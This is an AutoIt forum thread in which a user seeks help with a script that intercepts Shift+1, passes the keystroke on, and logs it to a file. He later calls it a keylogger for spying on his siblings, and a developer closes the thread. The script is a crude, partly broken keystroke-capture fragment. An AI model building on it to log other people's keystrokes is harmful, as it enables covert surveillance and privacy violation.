Jump to content

Trouble sending a " {LSHIFT} "


Glyph
 Share

Recommended Posts

#Include <process.au3>
Dim $log = ""

HotKeySet ( "{LSHIFT}1" , "_lshi" )

HotKeySet ( "!^{esc}" , "quit"             )

While 1
sleep(365*24*60*60*1000)
WEnd

Func quit()
exit
endfunc

Func _lshi()
HotKeySet ( "{LSHIFT}1")
Send("{LSHIFT}1")
$log = $log & "{LSHIFT}"1)
HotKeySet ( "{LSHIFT}1") , "_lshi" )
EndFunc

Func OnAutoItExit()
$file = FileOpen("log.ini", 1)
FileWrite($file, $log)
FileClose($file)
EndFunc

why wont it put "!" in the log?!?

tolle indicium

Link to comment
Share on other sites

  • Developers

why wont it put "!" in the log?!?

... because you have specified to Hit shift and then Hit 1 ... (Not keep any of the keys pressed down)

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Developers

so.. How so i get it to keep key press down?

{LSHIFT down}1

???, i'm kinda new with this sorry!

Helpfile is a nice thing to look for these ;)

Send("{SHIFTDOWN}1{SHIFTUP}")

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Developers

Ok, so now i have this...

-snip-

Just... i'm pretty sure im using this wrong, correct me if i'm wrong!

You are right!

Edited by JdeB

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Developers

.... Ok, well it does not work... so i'm lost!

Did you try to read the helpfile yet ?

HotKeySet("+1", "_Lshi")

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

Hey, Secure.. are you by any chance " Raylu" ?

It's being used for a keylogger, I don't trust anyone on MY computer, i have reason to beleive my siblings have logged on.. so i created a solution!

I now have proof!

haha, I didn't realize " + " was shift... I read the readme!!!

tolle indicium

Link to comment
Share on other sites

  • Developers

Hey, Secure.. are you by any chance " Raylu" ?

It's being used for a keylogger, I don't trust anyone on MY computer, i have reason to beleive my siblings have logged on.. so i created a solution!

I now have proof!

haha, I didn't realize " + " was shift... I read the readme!!!

I knew this was coming ... ** Click *** Edited by JdeB

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...